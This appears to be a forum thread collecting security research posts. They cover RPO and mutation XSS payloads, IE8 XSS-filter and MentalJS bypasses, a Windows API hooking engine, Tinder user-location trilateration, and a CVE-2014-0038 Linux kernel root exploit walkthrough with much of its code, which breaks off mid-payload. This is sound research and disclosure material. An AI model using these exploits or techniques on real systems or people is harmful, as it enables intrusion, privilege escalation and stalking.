use “open” to prevent client side DoS with repeated executions of alert. A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works. Further RPO attacks You might wonder if the RPO attack is restricted to just relative URLs like “styles.css” the answer is no, it’s possible to attack URLs such as “../../styles.css” but in this case we need to provide levels of fake directories until the styles are loaded from the current document. “../” means look above the current directory; we need three levels of fake directories. <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <link href="../../styles.css" rel="stylesheet" type="text/css" /> </head> <body> Hello {}*{xss:expression(open(alert(1)))} </body> </html> PoC: RPO example 2 This time because the relative URL is looking for a directory twice above the current directory we make a request of “/labs/xss_horror_show/chapter7/rpo2.php/styles.css” this means that you could also target a file in a different directory but in this case we pointed it back to the original html file. Note we could have done just rpo2.php/// but I provided the text of fake directory for clarity. There are other variants such as using the @ import command which is useful if length or characters are limited. Using the “}” to ignore the HTML again followed by an @ import statement works perfectly fine on IE even though technically it’s invalid syntax to use an import statement in this way. RPO isn’t restricted to IE, we can use the technique on other browsers but JavaScript isn’t supported in CSS on Chrome, Firefox, Opera or Safari. Another restriction is that a doctype cannot be included on the target document since this causes the CSS’s parsers to stop parsing the HTML file on non-IE browsers. <html> <head> <link href="../../styles.css" rel="stylesheet" type="text/css" /> </head> <body> Hello {}*{color:#ccc;} </body> </html> PoC: RPO example 3 The document above changes the colour of the text to grey and works on every browser. It works in the same way as the previous PoC but this time uses pure CSS and no expressions. If a doctype was included in the document it would fail on every browser except if IE was in compat mode. RPO attacks work on any type of document, it’s possible to change the target of image files for example but because the image files look for specific strings at the start of the file and the end result is only an image it makes RPO attacks less useful in these circumstances. Reflected RPO If the URL is outputted on the page we can send the XSS vector via the path. The following PHP example shows the URL being outputted on the page. <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <link href="styles.css" rel="stylesheet" type="text/css" /> </head> <body> Hello <?php echo $_SERVER['PHP_SELF']?> </body> </html> There is a relative URL here and “echo $_SERVER[‘PHP_SELF’]” outputs the current URL of the page requested. We can exploit this by providing some CSS as part of the path since the relative URL will be loaded with our injection and then the CSS will be loaded from the HTML. On some configurations PHP_SELF will truncate the path information, in this instance PATH_INFO can be used. PoC: RPO example 4 Summary I consider relative URLs harmful since you cannot rely on the browser to correctly determine the correct directory and when used with so called “pretty URLs”. Pretty much everyone who has used relative URLs will be open to this type of attack if the path information is outputted or there is some persistent data that an attacker can manipulate. I recommend absolute URLs should be used throughout a site or relative URLs that begin with a forward slash since this is the only type of relative URL that isn’t vulnerable to a RPO attack because it starts at the document root. Update.. It’s worth noting that a relative root url isn’t vulnerable to this sort of attack since the directory is take from the highest point in the structure and I think can’t be influenced the way a normal relative url can. Source
  14. The XSS filter introduced in IE8 is a really powerful defence against XSS. I tested the filter for a number of years and found various bypasses one of which I would like to share with you now. You can read more about the filter and its goal in the following blog post. Scope There have been numerous public bypasses of the filter however very few within the intended scope of the filter. The filter blocks reflected XSS in HTML context, script, style and event context. It does not support attacks that use multiple parameters or same origin requests. Once you are aware of the intended scope the difficulty of bypassing the filter is very high. Function reassignment This bypass was fixed in later versions of Internet Explorer but still works in compatibility mode. You can use the vector in a penetration test by forcing the target site into compatibility mode using an iframe with an EmulateIE7 meta element as shown below. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> This loads IE in emulate mode and the entire JavaScript engine will revert to an older mode enabling the vector to function. We need to setup a page with the target input inside a function argument in order to demonstrate the bypass. As you can see below the parameter “x” appears inside a string which calls the function “x”. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <script> function ) { } <?php $x = isset($_GET['x']) ? $_GET['x'] : ''; ?> '<?php echo $x?>'); </script> In older versions of Internet Explorer it’s possible to redefine a function within its calling arguments. This is very useful for bypassing the filter when your XSS hole executes within a function argument. To see how this works we pass a GET request to “x” within a payload that redefines the function “x” to alert and uses an argument before our break out string to pass to the function. The GET request looks like this: somepage.php?x=1?,x=alert,’ The output of the page now looks like this: <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <script> function ) { } '1',x=alert,''); </script> “1” is inserted at the start of the argument then we break out of the string and redefine the function “x” to alert then finish up by completing the string. The alert function only accepts 1 argument so our other arguments are ignored and alert(1) executes successfully. Conclusion As mentioned previously this vector was patched in later versions of IE however it will still work where a target site is in compatibility mode or you can force it into the older mode using iframes. The newer JavaScript engines in IE will not allow you to redefine functions within arguments. To protect against this vector you can force your site into standards mode by specifying a doctype or using the X-UA-Compatible header or meta element in edge mode. Preventing your site from being framed is also a good idea using the X-Frames-Option header and of course fixing the actual XSS hole in the first place is preferred. Source
  15. Aerosol

    mXSS

    Mutation XSS was coined by me and Mario Heiderich to describe an XSS vector that is mutated from a safe state into an unsafe unfiltered state. The most common form of mXSS is from incorrect reads of innerHTML. A good example of mXSS was discovered by Mario where the listing element mutated its contents to execute XSS. <listing><img src=1 onerror=alert(1)></listing> When the listing’s innerHTML is read it is transformed into an image element even though the initial HTML is escaped. The following code example shows how the entities are decoded. <listing id=x><img src=1 onerror=alert(1)></listing> <script>alert(document.getElementById('x').innerHTML)</script> The expected result of the alert would be “<img src=1 onerror=alert(1)>” however IE10 decodes the entities and returns “<img src=1 onerror=alert(1)>” instead. The vector mutated from a safe state to an unexpected unsafe state. mXSS can work on multiple reads of the data, the first render is the actual HTML and every read of innerHTML is counted as another mutation since it could be decoded multiple times. To help testing for mutation vectors I’ve created a simple tool that mutates the HTTML multiple levels. It does this by reading and writing the HTML. The tool is available here: mXSS tool If you try the above vector using this tool you can see how the vector mutates and executes. Because mutation XSS works on multiple levels the following HTML will be perfectly valid if you change the mutation level to 2. This reads and writes the HTML twice, you can of course increase the mutation value and continue encoding forever. <listing><img src=1 onerror=alert(1)></listing> HTML parsers often get confused and understandably because of the complex interaction between HTML, entities and different document types. One of those confusions happens with HTML and XHTML. In IE9 document mode the entities will be decoded by confusing the parser that it’s a XHTML element rather than a HTML element. Visit the mXSS tool in IE9 mode at the following URL mXSS tool in IE9 mode By using a forward slash which is ignored in HTML but in XHTML it’s treated as a self-closing element we confuse the HTML parser into rendering the entities and breaking out of the style element and executing an image element. This bug was fixed in IE10 but thanks to the useful backwards compatibility modes we can render using IE9 and still execute. <style/></style><img src=1 onerror=alert(1)></style> More elements work this way in IE9, the following Shazzer URL shows which elements decode entities in this way. Incorrect innerHTML serialization Another cool IE9 mutation vector is using the “<%” element, this element acts as a comment and it’s possible to mutate attributes inside other elements combining a script based vector. An example is below. <script> x="<%"; </script> <div title="%></script>"<img src=1 onerror=alert(1)>"></div> Source
  16. I managed to find time to fix a couple of MentalJS bypasses by LeverOne and Soroush Dalili (@irsdl). LeverOne’s vector was outstanding since it bypassed the parsing itself which is no easy task. The vector was as follows: for(var i i/'/+alert(location);0)break//') Basically my parser was inserting a semi colon in the wrong place causing a different state than the actual state executed. My fix inserts the semi colon in the correct place. Before the fix the rewritten code looked like this: for (var i$i$; / '/+alert(location);0)break//') As you can see the variables have been incorrectly joined and so the next state is a regex whereas Mental thinks it’s a divide. After the fix the rewritten code looks like this: for (var i$;i$ / '/+alert(location);0)break//') So now the divide is an actual divide. Technically I shouldn’t be inserting a semi-colon in the for statement, I might fix this at a later stage if I have time. The second bypass was from Soroush that basically assigned innerHTML on script nodes bypassing the rewriting completely. Cool bug. The fix was pretty simple, I prevented innerHTML assignments on script nodes. Here is the bypass:- parent=document.getElementsByTagName('body')[0]; img=document.getElementsByTagName('img')[0]; x=document.createElement('script'); x.innerHTML='alert(location)'; parent.appendChild(x); Source
  17. We'll be writing a hooking engine using trampoline based hooks as explained in the previous article (we don't handle relative instructions as they're very rare, but we do use atomic write operations to prevent race conditions). First things first, we need to define the proxy functions which we will redirect the hooked functions to, these must have the same calling convention, return type, and parameters as the functions we are going to hook with them. For this example we will simply have them print out the parameters before displaying the message box. int WINAPI NewMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) { printf("MessageBoxA called!\ntitle: %s\ntext: %s\n\n", lpCaption, lpText); return OldMessageBoxA(hWnd, lpText, lpCaption, uType); } int WINAPI NewMessageBoxW(HWND hWnd, LPWSTR lpText, LPCTSTR lpCaption, UINT uType) { printf("MessageBoxW called!\ntitle: %ws\ntext: %ws\n\n", lpCaption, lpText); return OldMessageBoxW(hWnd, lpText, lpCaption, uType); } OldMessageBox is simply a typedef that will point to 25 bytes of executable memory which the hooking function will store the trampoline into. typedef int (WINAPI *TdefOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType); typedef int (WINAPI *TdefOldMessageBoxW)(HWND hWnd, LPWSTR lpText, LPCTSTR lpCaption, UINT uType); TdefOldMessageBoxA OldMessageBoxA = (TdefOldMessageBoxA)VirtualAlloc(NULL, 25, MEM_COMMIT, PAGE_EXECUTE_READWRITE); TdefOldMessageBoxW OldMessageBoxW = (TdefOldMessageBoxW)VirtualAlloc(NULL, 25, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Now for the hooking function, we will have the following parameters: name - The name of the function to hook. dll - The dll the target function resides in. proxy - a pointer to the proxy function (NewMessageBox). original - A pointer to 25 bytes of executable memory, where we will store the trampoline. length - A pointer to a variable which receives the number of bytes worth of instructions stored in the trampoline (remember we can only copy whole instructions). BOOL HookFunction(CHAR *dll, CHAR *name, LPVOID proxy, LPVOID original, PDWORD length) { } Inside the hooking function we will get the address of the target function, then use the "Hacker Dissasembler Engine (HDE32)" to dissasemble each instruction and get the length, until we have 5 or more bytes worth of whole instructions (hde32_disasm returns the length of the instruction pointed to by the first parameter). LPVOID FunctionAddress; DWORD TrampolineLength = 0; FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name); if(!FunctionAddress) return FALSE; //disassemble length of each instruction, until we have 5 or more bytes worth while(TrampolineLength < 5) { LPVOID InstPointer = (LPVOID)((DWORD)FunctionAddress + TrampolineLength); TrampolineLength += hde32_disasm(InstPointer, &disam); } To build the actual trampoline we first copy "TrampolineLength" of bytes from the target function to the trampoline buffer (passed to the function in the parameter "original"), then we append the copied bytes with a jump to n bytes into target function (n is TrampolineLength e.g. resume execution in the target function where the trampoline left off). A relative jump is the distance from the end of the jump, that is: (destination - (source + 5)). The source of the jump will be the trampoline address + TrampolineLength and the destination will be the hooked function + TrampolineLength. DWORD src = ((DWORD)FunctionAddress + TrampolineLength); DWORD dst = ((DWORD)original + TrampolineLength + 5); BYTE jump[5] = {0xE9, 0x00, 0x00, 0x00, 0x00}; //Store n bytes from the target function into trampoline memcpy(original, FunctionAddress, TrampolineLength); //Set the second byte of the jump (the offset), so the jump goes where we want. *(DWORD *)(jump+1) = src - dst; //Copy the jump to the end of the trampoline memcpy((LPVOID)((DWORD)original+TrampolineLength), jump, 5); Before we can write the jump to the function, we need to make sure the memory is writable (it's usually not), we do this by setting the protection to PAGE_EXECUTE_READWRITE using VirtualProtect. //Make sure the function is writable DWORD OriginalProtection; if(!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &OriginalProtection)) return FALSE; To place the hook all we need to do is create a jump to jump from the target function to the proxy, then we can overwrite the first 5 bytes of the target with it. To avoid any risk of the function being called while we're writing the jump, we must write all of it at once (atomically). Sadly atomic functions can only work with sizes of base 2 (2, 4, 8, 16, etc); our jump is 5 bytes and the closest size we can copy is 8, so we will have to make a custom function (SafeMemcpyPadded) that will pad the source buffer to 8 bytes with bytes from the destination, so that the last 3 bytes remain unchanged after the copy. cmpxchg8b compares the 8 bytes held in edx:eax, with the destination, if they're equal it copies the 8 bytes held in ecx:ebx, we set edx:eax to the destination bytes so that the copy always happens. //Build and atomically write the hook *(DWORD *)(jump+1) = (DWORD)proxy - (DWORD)FunctionAddress - 5; SafeMemcpyPadded(FunctionAddress, Jump, 5); void SafeMemcpyPadded(LPVOID destination, LPVOID source, DWORD size) { BYTE SourceBuffer[8]; if(size > 8) return; //Pad the source buffer with bytes from destination memcpy(SourceBuffer, destination, 8); memcpy(SourceBuffer, source, size); __asm { lea esi, SourceBuffer; mov edi, destination; mov eax, [edi]; mov edx, [edi+4]; mov ebx, [esi]; mov ecx, [esi+4]; lock cmpxchg8b[edi]; } } All that's left to do now is restore the page protection and set the "length" parameter to TrampolineLength. //Restore the original page protection VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &OriginalProtection); *length = TrampolineLength; return TRUE; The hooking function can simply be called like so. DWORD length; HookFunction("user32.dll", "MessageBoxA", &NewMessageBoxA, OldMessageBoxA, &length); Unhooking is done by copying "length" bytes to the hooked function from OldMessageBox (the trampoline). You can see my full hooking engine, including example usage, on GitHub. Source
  18. At IncludeSec we specialize in application security assessment for our clients, that means taking applications apart and finding really crazy vulnerabilities before other hackers do. When we have time off from client work we like to analyze popular apps to see what we find. Towards the end of 2013 we found a vulnerability that lets you get exact latitude and longitude co-ordinates for any Tinder user (which has since been fixed) Tinder is an incredibly popular dating app. It presents the user with photographs of strangers and allows them to "like" or "nope" them. When two people "like" each other, a chat box pops up allowing them to talk. What could be simpler? Being a dating app, it's important that Tinder shows you attractive singles in your area. To that end, Tinder tells you how far away potential matches are: Before we continue, a bit of history: In July 2013, a different Privacy vulnerability was reported in Tinder by another security researcher. At the time, Tinder was actually sending latitude and longitude co-ordinates of potential matches to the iOS client. Anyone with rudimentary programming skills could query the Tinder API directly and pull down the co-ordinates of any user. I'm going to talk about a different vulnerability that's related to how the one described above was fixed. In implementing their fix, Tinder introduced a new vulnerability that's described below. The API By proxying iPhone requests, it's possible to get a picture of the API the Tinder app uses. Of interest to us today is the user endpoint, which returns details about a user by id. This is called by the client for your potential matches as you swipe through pictures in the app. Here's a snippet of the response: { "status":200, "results":{ "bio":"", "name":"Anthony", "birth_date":"1981-03-16T00:00:00.000Z", "gender":0, "ping_time":"2013-10-18T18:31:05.695Z", "photos":[ //cut to save space ], "id":"52617e698525596018001418", "common_friends":[ ], "common_likes":[ ], "common_like_count":0, "common_friend_count":0, "distance_mi":4.760408451724539 } } Tinder is no longer returning exact GPS co-ordinates for its users, but it is leaking some location information that an attack can exploit. The distance_mi field is a 64-bit double. That's a lot of precision that we're getting, and it's enough to do really accurate triangulation! Triangulation As far as high-school subjects go, trigonometry isn't the most popular, so I won't go into too many details here. Basically, if you have three (or more) distance measurements to a target from known locations, you can get an absolute location of the target using triangulation1. This is similar in principle to how GPS and cellphone location services work. I can create a profile on Tinder, use the API to tell Tinder that I'm at some arbitrary location, and query the API to find a distance to a user. When I know the city my target lives in, I create 3 fake accounts on Tinder. I then tell the Tinder API that I am at three locations around where I guess my target is. Then I can plug the distances into the formula on this Wikipedia page. To make this a bit clearer, I built a webapp.... TinderFinder Before I go on, this app isn't online and we have no plans on releasing it. This is a serious vulnerability, and we in no way want to help people invade the privacy of others. TinderFinder was built to demonstrate a vulnerability and only tested on Tinder accounts that I had control of. TinderFinder works by having you input the user id of a target (or use your own by logging into Tinder). The assumption is that an attacker can find user ids fairly easily by sniffing the phone's traffic to find them. First, the user calibrates the search to a city. I'm picking a point in Toronto, because I will be finding myself. I can locate the office I sat in while writing the app: I can also enter a user-id directly: And find a target Tinder user in NYC You can find a video showing how the app works in more detail below: FAQ Q: What does this vulnerability allow one to do? A: This vulnerability allows any Tinder user to find the exact location of another tinder user with a very high degree of accuracy (within 100ft from our experiments) Q: Is this type of flaw specific to Tinder? A: Absolutely not, flaws in location information handling have been common place in the mobile app space and continue to remain common if developers don't handle location information more sensitively. Q: Does this give you the location of a user's last sign-in or when they signed up? or is it real-time location tracking? A: This vulnerability finds the last location the user reported to Tinder, which usually happens when they last had the app open. Q: Do you need Facebook for this attack to work? A: While our Proof of concept attack uses Facebook authentication to find the user's Tinder id, Facebook is NOT needed to exploit this vulnerability, and no action by Facebook could mitigate this vulnerability Q: Is this related to the vulnerability found in Tinder earlier this year? A: Yes this is related to the same area that a similar Privacy vulnerability was found in July 2013. At the time the application architecture change Tinder made to correct the privacy vulnerability was not correct, they changed the JSON data from exact lat/long to a highly precise distance. Max and Erik from Include Security were able to extract precise location data from this using triangulation. Q: How did Include Security notify Tinder and what recommendation was given? A: We have not done research to find out how long this flaw has existed, we believe it is possible this flaw has existed since the fix was made for the previous privacy flaw in July 2013. The team's recommendation for remediation is to never deal with high resolution measurements of distance or location in any sense on the client-side. These calculations should be done on the server-side to avoid the possibility of the client applications intercepting the positional information. Alternatively using low-precision position/distance indicators would allow the feature and application architecture to remain intact while removing the ability to narrow down an exact position of another user. Q: Is anybody exploiting this? How can I know if somebody has tracked me using this privacy vulnerability? A: The API calls used in this proof of concept demonstration are not special in any way, they do not attack Tinder's servers and they use data which the Tinder web services exports intentionally. There is no simple way to determine if this attack was used against a specific Tinder user. Vulnerability Disclosure Timeline October 23rd 2013 - We notified tinder via email to customer service. October 24th 2013 - We notified tinder via email to CEO. October 24th 2013 - Tinder's CEO acknowledges and says thanks. November 8th 2013 - We ask for status from the CEO, no response. December 2nd 2013 - We ask for status from the CEO, we're redirected to a tech team lead. December 2nd 2013 - Tech team lead asks for more time to implement a fix, we acknowledge and agree. January 1st 2014 - We look at the server-side traffic to see if the same issue exists and see that the high precision data is no longer being returned by the server (awesome looks like a fix!) January 2nd 2014 - We ask for fix details/status from the tech team lead, no response. February 4th 2014 - We ask for fix details/status from the tech team lead, no response. February 7th 2014 - We ask for fix details/status from the CEO, get short reply saying they'll get back to us. February 19th 2014 - As the issue does not seem to be reproducible and we have no updates from the vendor....blog post published. Technically we're doing trilateration. Triangulation involves finding distances when you have angle measurements, but it's used colloquially to mean trilateration as well. If you're so inclined, you can find out more about trilateration here. Source
  19. The Vulnerable Linux Kernel Code The bug is located in the x32 version of the recvmmsg syscall in the Linux kernel. The recvmmsg syscall allows for receiving multiple messages on a socket with just one syscall (and can thus increase performance in certain situations). To be clear the x32 ABI (not to be confused with the X86 ABI) is a particular ABI and that is not enabled by default on all distributions. However, recent Ubuntu-based distributions as well as Arch Linux ones have enabled it. For more details on the x32 ABI refer to [2]. In short x32 is an ABI which takes advantage of the 64-bit environment while using 32bit pointers for less overhead. However, the x32 system calls can also be accessed by standard 64bit applications by setting adding the value of __X32_SYSCALL_BIT to 64bit system call numbers. The CVE 2014-0038 bug is a fairly classic case of trusting user supplied input. The timeout pointer in the function below is passed directly from user space to __sys_recvmmsg, which expects a trusted pointer, without first copying the value of the user supplied pointer to a controlled kernel space variable. The following is the code which handles the recvmmsg syscall for the x32 ABI (net/compat.c): asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) /* set when doing the x32 syscall, the x32 ABI uses 64bit time values */ return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); /* ... */ Pointers passed from user space are marked with the __user attribute to make sure they are only accessed through the user space API functions (e.g. copy_to_user, copy_from_user, ...). In this case though, the timeout parameter is cast directly to a type not containing the __user attribute, and then passed on to __sys_recvmmsg without any further checks on it. Compare this to what the normal x86_64 syscall does: SYSCALL_DEFINE5(recvmmsg, int, fd, struct mmsghdr __user *, mmsg, unsigned int, vlen, unsigned int, flags, struct timespec __user *, timeout) { int datagrams; struct timespec timeout_sys; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (!timeout) return __sys_recvmmsg(fd, mmsg, vlen, flags, NULL); /* -1- */ if (copy_from_user(&timeout_sys, timeout, sizeof(timeout_sys))) return -EFAULT; datagrams = __sys_recvmmsg(fd, mmsg, vlen, flags, &timeout_sys); if (datagrams > 0 && copy_to_user(timeout, &timeout_sys, sizeof(timeout_sys))) datagrams = -EFAULT; return datagrams; } At -1- the timeout struct is copied into a kernel space variable before passing it to __sys_recvmmsg. That's the correct way to do it. Digging Deeper Into the Vulnerability First things first: the timespec structure, defined in include/uapi/linux/time.h: struct timespec { long tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ }; Now let's take a closer look at what happens to the timeout pointer passed from user space. From compat_sys_recvmmsg the pointer is passed to __sys_recvmmsg, located in net/socket.c: int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout) { if (timeout && /* -1- */ poll_select_set_timeout(&end_time, timeout->tv_sec, timeout->tv_nsec)) return -EINVAL; /* ... */ while (datagrams < vlen) { /* -2- */ /* * Basically just a loop calling recvmsg * until the timeout is hit or vlen messages have * been received. */ if (MSG_CMSG_COMPAT & flags) { err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams); /* ... */ } else { err = ___sys_recvmsg(sock, (struct msghdr __user *)entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams); /* ... */ } /* ... */ if (timeout) { ktime_get_ts(timeout); // put current time into *timeout // then subtract that from end_time *timeout = timespec_sub(end_time, *timeout); /* -3- */ if (timeout->tv_sec < 0) { timeout->tv_sec = timeout->tv_nsec = 0; /* -4- */ break; } /* Timeout, return less than vlen datagrams */ if (timeout->tv_nsec == 0 && timeout->tv_sec == 0) break; } /* ... */ The first thing to note here is the block at -1-. Here poll_select_set_timeout will set end_time to the time when the timeout will be over. More importantly, it will check whether timeout points to a valid timespec struct. If it does not then it will return -EINVAL and thus cause the syscall to fail. Here is the function performing the check (include/linux/time.h): static inline bool timespec_valid(const struct timespec *ts) { /* Dates before 1970 are bogus */ if (ts->tv_sec < 0) /* -5- */ return false; /* Can't have more nanoseconds then a second */ if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC) /* -6- */ // include/linux/time.h: #define NSEC_PER_SEC 1000000000L return false; return true; } At -5- the first long, tv_sec, is checked to be a positive number, meaning it's most significant byte must be smaller than 0x8, and at -6- the tv_nsec member is checked to be smaller than 1,000,000,000 (= 1 second), so tv_nsec must be between 0 and 0x000000003b9aca00. Keep this in mind as we move on. Next the code enters the loop at -2-, waiting for incoming packets. After a packet has been received by __sys_recvmsg the timeout struct is updated to contain the time left (-3-). If that value is < 0, both tv_sec and tv_nsec are set to zero at -4- and the function returns. The loop will thus exit if either vlen messages have been received or the timeout is hit after receiving a packet. Do note the call will only return after a packet has been received, even if the timeout has already been hit. By sending packets to ourselves from a forked child, we can enter the code that updates the timeout at any time. And by setting vlen to 1, we can guarantee that timeout is only written to once. The Exploitation vector So what can we do with this situation from an exploitation perspective? The basic idea that comes to mind is pointing the timeout pointer to sensitive kernel data with known content and waiting a specific amount of time until sending a UDP packet (thus reaching the block at -3- in the code above). This will cause the function to update the timeout structure and return. In other words we will make the kernel treat some of its own memory (preferably a function pointer) as the timeout argument and thus cause the kernel to overwrite part of its own memory. This allows us to write a nearly arbitrary value to an address of our choosing (we have 64bit pointers so we can address the whole address space), as long as the original value is known and there is a valid timespec struct at that address. Since kernel pointers always have the high 4 bytes set to 0xff they make a good target. Imagine the following situation: pointer: 0xffffffff44434241 uninitialized data (little endian) +-------------------------+-------------------------+-------------------------+ | 41 42 43 44 ff ff ff ff | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ^ point timeout here [-------- tv_sec -------] [------- tv_nsec -------] If the address of the last (most significant) byte of the pointer is passed as a timeout, waiting >= 255 seconds will clear that byte without mangling up adjacent data as the whole block is set to zero. Repeating this for the next two bytes will allow us to point that pointer into user space (this is what the original version of the exploit did). To speed things up the bytes can be cleared in parallel. For this to work the time between the syscall and the incoming packet must be > 254s and < 255s. This will cause the recvmmsg function to write garbage to the following two longs, as they are treated as tv_nsec value and will then contain the remaining nanoseconds of the timeout. A Walk-through of the Proof-of-concept Exploit Now let's start with a brief overview on the steps the exploit takes to get root privileges. The exploit follows the common scheme of tricking the kernel into executing code in user space memory. This has quite a few advantages, including being able to write the payload in nicely readable C code. For a more detailed discussion of this technique refer to [3]. Here are the basic steps: Allocate executable and writable memory at the address to which the kernel will jump, and copy the kernel payload at the end of that region. Target the release function pointer of the ptmx_fops structure located in the .data section which is writable kernel memory. Zero out the three most significant bytes, thereby turning it into a pointer inside of the region mapped by user space. Open /dev/ptmx and close it, causing ptmx_fops->release() to be called. Check if root privileges were obtained and start a shell. Let's examine each of those steps in more detail. Resolving symbols The exploit needs four kernel symbols to be resolved, those are #define PTMX_FOPS 0xffffffff81fb30c0LL #define TTY_RELEASE 0xffffffff8142fec0LL #define COMMIT_CREDS 0xffffffff8108ad40LL #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL They can be taken from /boot/System.map or the decompressed kernel image via nm. The PoC linked at the end of this post also contains a script (build.sh) which will help resolving with the symbols. The README in the PoC provides details on how to use it. Setting things up /* Prepare payload... */ printf("preparing payload buffer...\n"); code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); memset((void*)code, 0x90, PAYLOADSIZE); code += PAYLOADSIZE - 1024; memcpy((void*)code, &kernel_payload, 1024); The first thing the exploit does is allocate executable and writable memory at a fixed address. TTY_RELEASE is the original value of the targeted pointer in kernel space. Since the three most significant bytes of that pointer will be cleared, a mask of 0x000000fffffff000 has to be applied to it. The memory region is then filled with nops and the kernel payload (discussed later) is copied into it. The target /* * Now clear the three most significant bytes of the fops pointer * to the release function. * This will make it point into the memory region mapped above. */ printf("changing kernel pointer to point into controlled buffer...\n"); target = PTMX_FOPS + FOPS_RELEASE_OFFSET; for (i = 0; i < 3; i++) { pids[i] = fork(); if (pids[i] == 0) { zero_out(target + (5 + i)); exit(EXIT_SUCCESS); } sleep(1); } The pointer targeted in the exploit is the release function pointer of the ptmx_fops structure, which originally points to tty_release. In the Linux kernel the file_operations structure contains a bunch of function pointers to be executed when user space accesses the associated file. Examples include open, release, write, ... ptmx_fops->release is called when the last reference to that file descriptor is released. The two pointers following release are not initialized (= 0) and will thus be valid tv_nsec values. The situation is then similar to the one depicted in the diagram shown in the "Exploitation Vector" section. User space can map 0x000000ffxxxxxxxx, meaning only 3 of the 4 high order bytes of the pointer need to be cleared. To speed things up three additional processes are forked, each one clearing a byte of the pointer. (Note: The sleep(1) between each fork is done here to guarantee a different seed for srand() in each child. This is needed so every child opens a different UDP port.) Exploiting the bug void zero_out(long addr) { int sockfd, retval, port, pid, i; struct sockaddr_in sa; char buf[BUFSIZE]; struct mmsghdr msgs; struct iovec iovecs; srand(time(NULL)); port = 1024 + (rand() % (0x10000 - 1024)); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(EXIT_FAILURE); } memset(&msgs, 0, sizeof(msgs)); iovecs.iov_base = buf; iovecs.iov_len = BUFSIZE; msgs.msg_hdr.msg_iov = &iovecs; msgs.msg_hdr.msg_iovlen = 1; /* * start a separate process to send a UDP message after 255 seconds so the syscall returns, * but not after updating the timeout struct and writing the remaining time into it. * 0xff - 255 seconds = 0x00 */ printf("clearing byte at 0x%lx\n", addr); pid = fork(); if (pid == 0) { memset(buf, 0x41, BUFSIZE); if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); sleep(0xfe); printf("waking up parent...\n"); sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); /* -1- */ exit(EXIT_SUCCESS); } else if (pid > 0) { retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); /* -2- */ if (retval == -1) { printf("address can't be written to, not a valid timespec struct!\n"); exit(EXIT_FAILURE); } waitpid(pid, 0, 0); printf("byte zeroed out\n"); } else { perror("fork()"); exit(EXIT_FAILURE); } } This is the key part of the exploit, we're abusing the bug as discussed in the "Exploitation Vector" section. After a lot of code to set up the structures needed for the syscall, the passed address is used as the least significant byte of the timeout pointer (-2-) and the vulnerable syscall is called. At -2- the forked child process will wake its parent so the time difference between the syscall and the incoming packet is between 254 and 255 seconds, thus setting the least significant byte of the tv_sec member to 0. Keep in mind that this function is executed by three child processes. The memory at the address of ptmx_fops->release roughly looks like this at the beginning: release pointer uninitialized uninitialized +-------------------------+-------------------------+-------------------------+ | c0 fe 42 81 ff ff ff ff | 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ^ address for child 3 ^ address for child 2 ^ address for child 1 Turning it into: release pointer mangled mangled +-------------------------+-------------------------+-------------------------+ | c0 fe 42 81 ff 00 00 00 | 00 00 00 00 00 xx xx xx | xx xx xx 00 00 00 00 00 | +-------------------------+-------------------------+-------------------------+ ptmx_fops->release now points into the memory region that was mapped at the beginning. Code execution in Ring 0 /* ... and trigger. */ printf("releasing file descriptor to call manipulated pointer in kernel mode...\n"); pwn = open("/dev/ptmx", 'r'); close(pwn); At this point we are ready to execute our payload in ring 0 by opening a file descriptor to /dev/ptmx and immediately closing it, causing the kernel to call ptmx_fops->release in the current context. Now if all goes well (see restrictions further down) the kernel will jump to our code, change the creds structure of our process to a new one with root privileges (and all capabilities) and return to user mode. Let's take a closer look at how that is done next. Kernel payload int __attribute__((regparm(3))) kernel_payload(void* foo, void* bar) { _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = 